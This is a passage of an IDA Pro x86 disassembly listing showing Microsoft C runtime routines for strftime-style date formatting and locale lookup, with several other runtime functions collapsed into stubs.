		mov	edx, [ebp+arg_8]
		mov	al, [edx]
		push	eax
		call	sub_437F70
		add	esp, 14h
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_437F2E
; ---------------------------------------------------------------------------

loc_437EC1:				; CODE XREF: sub_437DE0+80j
		mov	edx, [ebp+arg_8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_453CF4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_437F09
		cmp	[ebp+var_C], 1
		jbe	short loc_437F09
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx

loc_437F09:				; CODE XREF: sub_437DE0+FCj
					; sub_437DE0+102j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx

loc_437F2E:				; CODE XREF: sub_437DE0+DFj
		jmp	loc_437E42
; ---------------------------------------------------------------------------

loc_437F33:				; CODE XREF: sub_437DE0+66j
					; sub_437DE0:loc_437E62j
		cmp	[ebp+var_8], 0
		jz	short loc_437F45
		push	13h
		call	__unlock
		add	esp, 4
		jmp	short loc_437F50
; ---------------------------------------------------------------------------

loc_437F45:				; CODE XREF: sub_437DE0+157j
		push	offset dword_4F39C8
		call	ds:dword_4F5484	; InterlockedDecrement

loc_437F50:				; CODE XREF: sub_437DE0+163j
		cmp	[ebp+var_C], 0
		jbe	short loc_437F64
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_C]
		jmp	short loc_437F66
; ---------------------------------------------------------------------------

loc_437F64:				; CODE XREF: sub_437DE0+174j
		xor	eax, eax

loc_437F66:				; CODE XREF: sub_437DE0+182j
		mov	esp, ebp
		pop	ebp
		retn
sub_437DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437F70	proc near		; CODE XREF: sub_437DE0+CEp
					; __store_winword+3ECp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		movsx	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 25h
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 55h
		ja	loc_4384D8
		mov	eax, [ebp+var_C]
		xor	edx, edx
		mov	dl, ds:byte_438539[eax]
		jmp	ds:off_4384DD[edx*4]

loc_437FA3:				; DATA XREF: .text:0043850Do
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4]
		push	eax
		call	__store_str
		add	esp, 0Ch
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_437FC5:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:004384E1o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		call	__store_str
		add	esp, 0Ch
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_437FE8:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:00438511o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	__store_str
		add	esp, 0Ch
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_43800B:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:004384E5o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	__store_str
		add	esp, 0Ch
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_43802E:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:00438515o
		cmp	dword_4F38B0, 0
		jz	short loc_4380B6
		mov	dword_4F38B0, 0
		mov	ecx, [ebp+arg_10]
		push	ecx		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A4h]
		push	eax		; Str1
		call	__store_winword
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_438070
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_438070:				; CODE XREF: sub_437F70+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax		; Str1
		call	__store_winword
		add	esp, 14h
		jmp	short loc_438129
; ---------------------------------------------------------------------------

loc_4380B6:				; CODE XREF: sub_437F70+C5j
		mov	ecx, [ebp+arg_10]
		push	ecx		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A0h]
		push	eax		; Str1
		call	__store_winword
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_4380E5
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_4380E5:				; CODE XREF: sub_437F70+16Ej
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A8h]
		push	eax		; Str1
		call	__store_winword
		add	esp, 14h

loc_438129:				; CODE XREF: sub_437F70+144j
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_43812E:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:00438519o
		mov	ecx, dword_4F38B0
		mov	dword_4F38B4, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		call	__store_num
		add	esp, 10h
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_438158:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:004384E9o
		mov	eax, dword_4F38B0
		mov	dword_4F38B4, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		call	__store_num
		add	esp, 10h
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_438180:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:004384EDo
		mov	edx, dword_4F38B0
		mov	dword_4F38B4, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		cdq
		mov	ecx, 0Ch
		idiv	ecx
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jnz	short loc_4381AA
		mov	[ebp+var_4], 0Ch

loc_4381AA:				; CODE XREF: sub_437F70+231j
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	__store_num
		add	esp, 10h
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_4381C5:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:0043851Do
		mov	edx, dword_4F38B0
		mov	dword_4F38B4, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	3
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		add	eax, 1
		push	eax
		call	__store_num
		add	esp, 10h
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_4381F2:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:00438521o
		mov	ecx, dword_4F38B0
		mov	dword_4F38B4, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		add	edx, 1
		push	edx
		call	__store_num
		add	esp, 10h
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_43821F:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:004384F1o
		mov	eax, dword_4F38B0
		mov	dword_4F38B4, eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		call	__store_num
		add	esp, 10h
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_438247:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:00438525o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_43826C
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+98h]
		push	eax
		call	__store_str
		add	esp, 0Ch
		jmp	short loc_438286
; ---------------------------------------------------------------------------

loc_43826C:				; CODE XREF: sub_437F70+2DEj
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	__store_str
		add	esp, 0Ch

loc_438286:				; CODE XREF: sub_437F70+2FAj
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_43828B:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:004384F5o
		mov	edx, dword_4F38B0
		mov	dword_4F38B4, edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		push	eax
		call	__store_num
		add	esp, 10h
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_4382B4:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:004384F9o
		mov	ecx, dword_4F38B0
		mov	dword_4F38B4, ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		mov	[ebp+var_8], eax
		jmp	short loc_43831D
; ---------------------------------------------------------------------------

loc_4382CB:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:00438529o
		mov	ecx, dword_4F38B0
		mov	dword_4F38B4, ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	1
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+18h]
		push	edx
		call	__store_num
		add	esp, 10h
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_4382F5:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:004384FDo
		mov	eax, dword_4F38B0
		mov	dword_4F38B4, eax
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+18h], 0
		jnz	short loc_438311
		mov	[ebp+var_8], 6
		jmp	short loc_43831D
; ---------------------------------------------------------------------------

loc_438311:				; CODE XREF: sub_437F70+396j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+18h]
		sub	eax, 1
		mov	[ebp+var_8], eax

loc_43831D:				; CODE XREF: sub_437F70+359j
					; sub_437F70+39Fj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+1Ch]
		cmp	edx, [ebp+var_8]
		jge	short loc_438331
		mov	[ebp+var_4], 0
		jmp	short loc_43835E
; ---------------------------------------------------------------------------

loc_438331:				; CODE XREF: sub_437F70+3B6j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+1Ch]
		cdq
		mov	ecx, 7
		idiv	ecx
		cmp	edx, [ebp+var_8]
		jl	short loc_43835E
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_43835E:				; CODE XREF: sub_437F70+3BFj
					; sub_437F70+3E3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	__store_num
		add	esp, 10h
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_438379:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:0043852Do
		cmp	dword_4F38B0, 0
		jz	short loc_4383B0
		mov	dword_4F38B0, 0
		mov	eax, [ebp+arg_10]
		push	eax		; int
		mov	ecx, [ebp+arg_C]
		push	ecx		; int
		mov	edx, [ebp+arg_8]
		push	edx		; int
		mov	eax, [ebp+arg_4]
		push	eax		; int
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A4h]
		push	edx		; Str1
		call	__store_winword
		add	esp, 14h
		jmp	short loc_4383D2
; ---------------------------------------------------------------------------

loc_4383B0:				; CODE XREF: sub_437F70+410j
		mov	eax, [ebp+arg_10]
		push	eax		; int
		mov	ecx, [ebp+arg_C]
		push	ecx		; int
		mov	edx, [ebp+arg_8]
		push	edx		; int
		mov	eax, [ebp+arg_4]
		push	eax		; int
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A0h]
		push	edx		; Str1
		call	__store_winword
		add	esp, 14h

loc_4383D2:				; CODE XREF: sub_437F70+43Ej
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_4383D7:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:00438501o
		mov	dword_4F38B0, 0
		mov	eax, [ebp+arg_10]
		push	eax		; int
		mov	ecx, [ebp+arg_C]
		push	ecx		; int
		mov	edx, [ebp+arg_8]
		push	edx		; int
		mov	eax, [ebp+arg_4]
		push	eax		; int
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx+0A8h]
		push	edx		; Str1
		call	__store_winword
		add	esp, 14h
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_438408:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:00438531o
		mov	eax, dword_4F38B0
		mov	dword_4F38B4, eax
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		push	2
		mov	ecx, [ebp+var_4]
		push	ecx
		call	__store_num
		add	esp, 10h
		jmp	loc_4384D8
; ---------------------------------------------------------------------------

loc_43843E:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:00438505o
		mov	edx, dword_4F38B0
		mov	dword_4F38B4, edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+14h]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	ecx, eax
		add	ecx, 13h
		imul	ecx, 64h
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		cdq
		mov	esi, 64h
		idiv	esi
		add	ecx, edx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	__store_num
		add	esp, 10h
		jmp	short loc_4384D8
; ---------------------------------------------------------------------------

loc_43848B:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:00438509o
		call	___tzset
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		cmp	dword ptr [edx+20h], 0
		setnz	al
		mov	ecx, off_454624[eax*4]
		push	ecx
		call	__store_str
		add	esp, 0Ch
		jmp	short loc_4384D8
; ---------------------------------------------------------------------------

loc_4384B6:				; CODE XREF: sub_437F70+2Cj
					; DATA XREF: .text:off_4384DDo
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	25h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx

loc_4384D8:				; CODE XREF: sub_437F70+1Bj
					; sub_437F70+2Cj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_437F70	endp

; ---------------------------------------------------------------------------
off_4384DD	dd offset loc_4384B6	; DATA XREF: sub_437F70+2Cr
		dd offset loc_437FC5
		dd offset loc_43800B
		dd offset loc_438158
		dd offset loc_438180
		dd offset loc_43821F
		dd offset loc_43828B
		dd offset loc_4382B4
		dd offset loc_4382F5
		dd offset loc_4383D7
		dd offset loc_43843E
		dd offset loc_43848B
		dd offset loc_437FA3
		dd offset loc_437FE8
		dd offset loc_43802E
		dd offset loc_43812E
		dd offset loc_4381C5
		dd offset loc_4381F2
		dd offset loc_438247
		dd offset loc_4382CB
		dd offset loc_438379
		dd offset loc_438408
		dd offset loc_4384D8
byte_438539	db 0			; DATA XREF: sub_437F70+26r
		dw 1616h
		dd 6 dup(16161616h), 16020116h,	16161616h, 16160403h, 16160516h
		dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
		dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
		dd 0CC0B1514h
; [00000048 BYTES: COLLAPSED FUNCTION __store_str. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000AD BYTES: COLLAPSED FUNCTION __store_num. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000AC BYTES: COLLAPSED FUNCTION __store_number. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000480 BYTES: COLLAPSED FUNCTION __store_winword. PRESS KEYPAD "+"	TO EXPAND]
off_438BC0	dd offset loc_438A2F	; DATA XREF: __store_winword+91r
		dd offset loc_438913
		dd offset loc_43889E
		dd offset loc_4387D8
		dd offset loc_438816
		dd offset loc_438877
		dd offset loc_4388C5
		dd offset loc_4388EC
		dd offset loc_43895A
		dd offset loc_438854
		dd offset loc_438B10
byte_438BEC	db 0			; DATA XREF: __store_winword+8Br
		db 3 dup(0Ah)
		dd 5 dup(0A0A0A0Ah), 0A010A0Ah,	0A0A0A0Ah, 0A0A020Ah, 0A030A0Ah
		dd 4 dup(0A0A0A0Ah), 0A010A0Ah,	0A0A040Ah, 0A0A050Ah, 0A060A0Ah
		dd 0A0A0A0Ah, 0A0A0807h
		db 2 dup(0Ah), 9
		dd offset loc_4387F7	; DATA XREF: __store_winword+B0r
		dd offset loc_438801
		dd offset loc_438807
		dd offset loc_43880D
off_438C4F	dd offset loc_438835	; DATA XREF: __store_winword+EEr
		dd offset loc_43883F
		dd offset loc_438845
		dd offset loc_43884B
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438C60	proc near		; CODE XREF: __get_lc_time+41p
					; __get_lc_time+60p ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
Source		= dword	ptr -0Ch
Count		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		cmp	[ebp+arg_0], 1
		jnz	loc_438DC9
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_90], eax
		lea	ecx, [ebp+var_8C]
		mov	[ebp+Source], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_94], 80h
		push	0
		mov	edx, [ebp+var_94]
		push	edx
		mov	eax, [ebp+Source]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	___crtGetLocaleInfoA
		add	esp, 14h
		mov	[ebp+Count], eax
		cmp	[ebp+Count], 0
		jnz	loc_438D4F
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_438CD0
		jmp	loc_438DAD
; ---------------------------------------------------------------------------

loc_438CD0:				; CODE XREF: sub_438C60+69j
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	___crtGetLocaleInfoA
		add	esp, 14h
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 0
		jnz	short loc_438CFA
		jmp	loc_438DAD
; ---------------------------------------------------------------------------

loc_438CFA:				; CODE XREF: sub_438C60+93j
		push	58h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	edx, [ebp+var_94]
		push	edx
		call	__malloc_dbg
		add	esp, 10h
		mov	[ebp+Source], eax
		cmp	[ebp+Source], 0
		jnz	short loc_438D20
		jmp	loc_438DAD
; ---------------------------------------------------------------------------

loc_438D20:				; CODE XREF: sub_438C60+B9j
		mov	[ebp+var_4], 1
		push	0
		mov	eax, [ebp+var_94]
		push	eax
		mov	ecx, [ebp+Source]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	___crtGetLocaleInfoA
		add	esp, 14h
		mov	[ebp+Count], eax
		cmp	[ebp+Count], 0
		jnz	short loc_438D4F
		jmp	short loc_438DAD
; ---------------------------------------------------------------------------

loc_438D4F:				; CODE XREF: sub_438C60+5Aj
					; sub_438C60+EBj
		push	63h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	ecx, [ebp+Count]
		push	ecx
		call	__malloc_dbg
		add	esp, 10h
		mov	edx, [ebp+var_90]
		mov	[edx], eax
		mov	eax, [ebp+var_90]
		cmp	dword ptr [eax], 0
		jnz	short loc_438D79
		jmp	short loc_438DAD
; ---------------------------------------------------------------------------

loc_438D79:				; CODE XREF: sub_438C60+115j
		mov	ecx, [ebp+Count]
		push	ecx		; Count
		mov	edx, [ebp+Source]
		push	edx		; Source
		mov	eax, [ebp+var_90]
		mov	ecx, [eax]
		push	ecx		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_438DA6
		push	2
		mov	edx, [ebp+Source]
		push	edx
		call	__free_dbg
		add	esp, 8

loc_438DA6:				; CODE XREF: sub_438C60+136j
		xor	eax, eax
		jmp	loc_438EE6
; ---------------------------------------------------------------------------

loc_438DAD:				; CODE XREF: sub_438C60+6Bj
					; sub_438C60+95j ...
		cmp	[ebp+var_4], 0
		jz	short loc_438DC1
		push	2
		mov	eax, [ebp+Source]
		push	eax
		call	__free_dbg
		add	esp, 8

loc_438DC1:				; CODE XREF: sub_438C60+151j
		or	eax, 0FFFFFFFFh
		jmp	loc_438EE6
; ---------------------------------------------------------------------------

loc_438DC9:				; CODE XREF: sub_438C60+Dj
		cmp	[ebp+arg_0], 0
		jnz	loc_438EE3
		mov	[ebp+var_A4], 4
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_9C], ecx
		push	0
		mov	edx, [ebp+var_A4]
		push	edx
		push	offset byte_4F388C
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	___crtGetLocaleInfoW
		add	esp, 14h
		test	eax, eax
		jnz	short loc_438E10
		or	eax, 0FFFFFFFFh
		jmp	loc_438EE6
; ---------------------------------------------------------------------------

loc_438E10:				; CODE XREF: sub_438C60+1A6j
		mov	edx, [ebp+var_9C]
		mov	byte ptr [edx],	0
		mov	[ebp+var_A0], 0
		jmp	short loc_438E34
; ---------------------------------------------------------------------------

loc_438E25:				; CODE XREF: sub_438C60:loc_438EDAj
		mov	eax, [ebp+var_A0]
		add	eax, 1
		mov	[ebp+var_A0], eax

loc_438E34:				; CODE XREF: sub_438C60+1C3j
		cmp	[ebp+var_A0], 4
		jge	loc_438EDF
		cmp	SrcSizeInBytes,	1
		jle	short loc_438E7B
		push	4		; Type
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4F388C[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		push	eax		; C
		call	__isctype
		add	esp, 8
		mov	[ebp+var_A8], eax
		jmp	short loc_438EAE
; ---------------------------------------------------------------------------

loc_438E7B:				; CODE XREF: sub_438C60+1E8j
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4F388C[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		mov	ecx, off_453CF4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_A8], edx

loc_438EAE:				; CODE XREF: sub_438C60+219j
		cmp	[ebp+var_A8], 0
		jz	short loc_438ED8
		mov	eax, [ebp+var_9C]
		movsx	ecx, byte ptr [eax]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_98]
		lea	eax, [ecx+edx-30h]
		mov	ecx, [ebp+var_9C]
		mov	[ecx], al
		jmp	short loc_438EDA
; ---------------------------------------------------------------------------

loc_438ED8:				; CODE XREF: sub_438C60+255j
		jmp	short loc_438EDF
; ---------------------------------------------------------------------------

loc_438EDA:				; CODE XREF: sub_438C60+276j
		jmp	loc_438E25
; ---------------------------------------------------------------------------

loc_438EDF:				; CODE XREF: sub_438C60+1DBj
					; sub_438C60:loc_438ED8j
		xor	eax, eax
		jmp	short loc_438EE6
; ---------------------------------------------------------------------------

loc_438EE3:				; CODE XREF: sub_438C60+16Dj
		or	eax, 0FFFFFFFFh

loc_438EE6:				; CODE XREF: sub_438C60+148j
					; sub_438C60+164j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_438C60	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, off_454F28
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [0000026D BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000101 BYTES: COLLAPSED FUNCTION __strnicmp. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000073 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000CF BYTES: COLLAPSED FUNCTION __setmode_lk. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000043D BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000C3 BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000004F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000000AE BYTES: COLLAPSED FUNCTION ___wtomb_environ.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000195 BYTES: COLLAPSED FUNCTION ___crtGetLocaleInfoW. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000001A5 BYTES: COLLAPSED FUNCTION ___crtGetLocaleInfoA. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000003F8 BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000050 BYTES: COLLAPSED FUNCTION _strncnt_0. PRESS	KEYPAD "+" TO EXPAND]
